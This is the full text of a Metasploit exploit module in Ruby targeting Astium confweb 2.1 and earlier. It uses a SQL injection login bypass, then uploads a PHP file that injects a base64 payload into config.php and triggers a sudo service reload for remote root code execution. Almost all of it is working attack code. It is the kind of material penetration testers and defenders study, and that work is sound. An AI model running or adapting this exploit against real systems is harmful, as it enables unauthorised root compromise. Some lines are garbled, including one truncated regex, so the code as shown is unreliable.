require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super (update_info(info,
'Name' => "Astium Remote Code Execution" ,
'Description' => %q{
This module exploits vulnerabilities found in Astium astium-confweb- 2 . 1 - 25399 RPM and
lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain
admin access. From an admin session arbitrary PHP code upload is possible. It is used
to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the
"sudo /sbin/service astcfgd reload" command to reload the configuration and achieve
remote root code execution.
},
'License' => MSF_LICENSE ,
'Author' =>
[
'xistence <xistence[at]0x90.nl>'
],
'References' =>
[
[ 'OSVDB' , '88860' ],
[ 'EDB' , '23831' ]
],
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP ,
'Targets' =>
[
[ 'Astium 2.1' , {}]
],
'Privileged' => true ,
'DisclosureDate' => "Sep 17 2013" ,
'DefaultTarget' => 0 ))
register_options(
[
OptString. new ( 'TARGETURI' , [ true , 'The base path to the Astium installation' , '/' ]),
], self . class )
end
def peer
return "#{rhost}:#{rport}"
end
def uri
return target_uri.path
end
def check
print_status( "#{peer} - Trying to detect Astium" )
res = send_request_cgi({
'method' => 'GET' ,
'uri' => normalize_uri(uri, "en" , "content" , "index.php" )
})
if res and res.code == 302 and res.body =~ /direct entry from outside/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def exploit
print_status( "#{peer} - Access login page" )
res = send_request_cgi({
'method' => 'GET' ,
'uri' => normalize_uri(uri),
'vars_get' => {
'js' => '0' ,
'ctest' => '1' ,
'origlink' => '/en/content/index.php'
}
})
if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA- Z0 - 9 ]+)/
session = $1
print_good( "#{peer} - Session cookie is [ #{session} ]" )
redirect = URI (res.headers[ 'Location' ])
print_status( "#{peer} - Location is [ #{redirect} ]" )
else
fail_with(Exploit::Failure::Unknown, "#{peer} - Access to login page failed!" )
end
print_status( "#{peer} - Following redirection" )
res = send_request_cgi({
'uri' => "#{redirect}" ,
'method' => 'GET' ,
'cookie' => "astiumnls=#{session}"
})
if not res or res.code != 200
fail_with(Exploit::Failure::Unknown, "#{peer} - Redirect failed!" )
end
sqlirandom = rand_text_numeric( 8 )
sqli= "system' OR '#{sqlirandom}'='#{sqlirandom}"
pass = rand_text_alphanumeric( 10 )
post_data = "__act=submit&user_name=#{sqli}&pass_word=#{pass}&submit=Login"
print_status( "#{peer} - Using SQLi to bypass authentication" )
res = send_request_cgi({
'method' => 'POST' ,
'uri' => normalize_uri(uri, "/en" , "logon.php" ),
'cookie' => "astiumnls=#{session}" ,
'data' => post_data
})
if not res or res.code != 302
fail_with(Exploit::Failure::Unknown, "#{peer} - Login bypass was not succesful!" )
end
payload_name = rand_text_alpha(rand( 10 ) + 5 ) + '.php'
phppayload = "<?php "
phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"
phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"
phppayload << "fclose($f);"
phppayload << "system('sudo /sbin/service astcfgd reload');"
phppayload << "sleep(60);"
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
phppayload << "fwrite($f, $orig);"
phppayload << "fclose($f);"
phppayload << "?>"
post_data = Rex:: MIME ::Message. new
post_data.add_part( "submit" , nil , nil , "form-data; name=\"__act\"" )
post_data.add_part(phppayload, "application/octet-stream" , nil , "file; name=\"importcompany\"; filename=\"#{payload_name}\"" )
file = post_data.to_s.gsub(/^\r\n\-\-\_Part\ _ /, '--_Part_' )
print_status( "#{peer} - Uploading Payload [ #{payload_name} ]" )
res = send_request_cgi({
'method' => 'POST' ,
'uri' => normalize_uri(uri, "en" , "database" , "import.php" ),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}" ,
'cookie' => "astiumnls=#{session}" ,
'data' => file
})
if not res or res.code != 200 or res.body !~ /
fail_with(Exploit::Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!" )
end
register_file_for_cleanup( "/usr/local/astium/web/html/upload/#{payload_name}" )
print_status( "#{peer} - Requesting Payload [ #{uri}upload/#{payload_name} ]" )
print_status( "#{peer} - Waiting as the reloading process may take some time, this may take a couple of minutes" )
res = send_request_cgi({
'method' => 'GET' ,
'uri' => normalize_uri(uri, "upload" , "#{payload_name}" )
}, 120 )
if res and res.code != 200
print_error( "#{peer} - Unexpected response..." )
end
end
end
|